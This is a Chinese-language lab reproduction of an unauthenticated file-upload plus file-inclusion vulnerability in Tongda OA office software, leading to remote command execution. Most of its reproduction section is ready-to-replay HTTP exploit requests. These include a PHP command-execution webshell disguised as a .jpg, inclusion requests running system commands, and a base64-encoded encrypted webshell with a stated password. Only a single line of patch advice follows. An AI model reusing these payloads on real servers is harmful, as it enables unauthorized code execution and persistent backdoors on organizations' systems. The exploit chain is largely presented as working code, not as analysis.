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通达OA前台任意文件上传漏洞

+文件包含漏洞导致getshell

一、漏洞介绍/Profile/

通达OA介绍：

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件，北京通达信科科技有限公司是一支以协同管理软件研发与实施、服务与咨询为主营业务的高科技团队，是国内协同管理软件行业里唯一一家央企单位，中国协同管理软件的领军企业。

通达OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。该系统采用领先的B/S(浏览器/服务器)操作方式，使得网络办公不受地域限。通达Office Anywhere采用基于WEB的企业计算，主HTTP服务器采用了世界上最先进的Apache服务器，性能稳定可靠。数据存取集中控制，避免了数据泄漏的可能。提供数据备份工具，保护系统数据安全。多级的权限控制，完善的密码验证与登录验证机制更加强了系统安全性。

漏洞影响的版本有：

V11版、2017版、2016版、2015版、2013增强版、2013版。

备注：

无需登录，前台即可实现漏洞利用

2013版：

文件上传漏洞路径：/ispirit/im/upload.php

文件包含漏洞路径：/ispirit/interface/gateway.php

2017版：

文件上传漏洞路径：/ispirit/im/upload.php

文件包含漏洞路径：/mac/gateway.php

漏洞环境：

靶机(Windows server 2008 R2)IP：172.16.0.45

通达OA：V 11.3版本

二、环境搭建/Environment/

(1)下载通达OA V11.3版本以后，点击运行TDOA11.3的应用程序运行文件

(2)确保80端口不被占用的情况下，将应用搭建在80端口，然后点击下一步

(3)配置完成

(4)查看搭建的结果

(5)账户为admin，密码为空，登陆到后端系统

三、漏洞复现/Reconstruct/

3.1 任意命令执行漏洞

(1)前台任意文件上传漏洞：无需登录，抓取任意数据包，修改数据包进行重放，上传后缀为jpg的木马文件

POST /ispirit/im/upload.php HTTP/1.1Host: 172.16.0.45Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: closeContent-Length: 660------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="P"123------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg<?php $command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh1YB4pV8McGB--

(2)查看运行结果

(3)前台文件包含漏洞：修改数据包，包含前面上传的jpg木马文件，即可实现执行任意命令

此处执行命令“net user”

POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 71json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=net user

(4)前台文件包含漏洞：修改数据包，包含前面上传的jpg木马文件，即可实现执行任意命令

此处执行命令“ipconfig”

POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 73json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=ipconfig

3.2 getshell

(1)前台任意文件上传漏洞：抓取任意数据包，修改数据包进行重放，上传后缀为jpg的木马文件(木马文件执行写入文件操作)

POST /ispirit/im/upload.php HTTP/1.1Host: 172.16.0.45Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: closeContent-Length: 1393------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="P"123------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg<?php $fp = fopen('shell.php', 'w');$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");fwrite($fp, $a);fclose($fp);?>------WebKitFormBoundarypyfBh1YB4pV8McGB--

(2)查看运行结果

(3)查看/webroot/ispirit/interface/目录下的文件信息

(4)前台文件包含漏洞：修改数据包，包含前面上传的jpg木马文件，会在文件包含的根目录下生成一个 shell.php 文件

POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 73json={"url":"/general/../../attach/im/2012/213131861.jpg"}&cmd=ipconfig

(5)查看文件包含漏洞的执行结果

(6)使用冰蝎进行连接：http://172.16.0.45/ispirit/interface/shell.php

密码为：pass

PS：此处用蚁剑和菜刀无法进行连接

四、加固建议 /Suggestion/

建议使用受影响版本的通达OA用户登录通达OA官网，获取最新补丁。请根据当前OA版本选择所对应的程序文件，运行前请先做好备份。

本文作者：R

编辑排版：T

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